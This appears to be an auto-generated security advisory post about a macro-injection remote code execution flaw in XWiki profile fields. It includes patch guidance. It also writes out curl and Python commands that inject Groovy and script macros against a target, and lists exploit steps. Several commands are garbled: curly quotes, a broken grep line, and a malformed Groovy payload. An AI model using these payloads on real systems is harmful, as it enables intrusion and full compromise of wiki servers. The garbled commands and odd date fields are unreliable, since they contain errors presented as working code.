Listen to this Post
The vulnerability stems from insufficient escaping of user-controlled input within the `{{html}}` wiki macro. When a user profile field supporting wiki syntax is rendered, the output is included as the content of this macro. An attacker can craft a payload like `{{html}}{{/html {{/html}}}}` which prematurely closes the HTML macro block due to a space after the macro name in the closing tag. This escaping flaw allows the attacker to break out of the HTML context and inject arbitrary script macros (e.g., Groovy, Python) directly into the rendered page. These script macros execute with programming rights, granting the attacker full remote code execution capabilities on the underlying XWiki instance, leading to complete compromise of all wiki content.
Platform: XWiki
Version: <16.10.10, <17.4.3
Vulnerability: Macro Injection RCE
Severity: Critical
date: 2024
Prediction: 2024-05-23
What Undercode Say:
`curl -X POST ‘http://target/wiki/bin/edit/XWiki/attackeruser?editor=wiki’ –data-urlencode ‘content={{html}}{{/html {{/html}}}}{{groovy}}println(“executed”.execute().text){{/groovy}}’`
`python3 -c ‘import requests; payload = “{{html}}{{/html {{/html}}}}{{script}}println(\”pwned\”){{/script}}”; r = requests.post(“http://target/profile/update”, data={“about”: payload})’`
`!/bin/bash
Checks for raw HTML output
curl -s “http://target/wiki/bin/view/XWiki/attackeruser” | grep -q ”
raw HTML
” && echo “Potentially Vulnerable”`
How Exploit:
1. Edit user profile.
2. Inject closing payload.
3. Append script macro.
4. Achieve remote code execution.
Protection from this CVE
Upgrade to XWiki 16.10.10, 17.4.3, or 17.6.0RC1. Apply strict input sanitization. Disable dangerous macros if possible.
Impact:
Full wiki compromise. Unrestricted read/write. Remote code execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
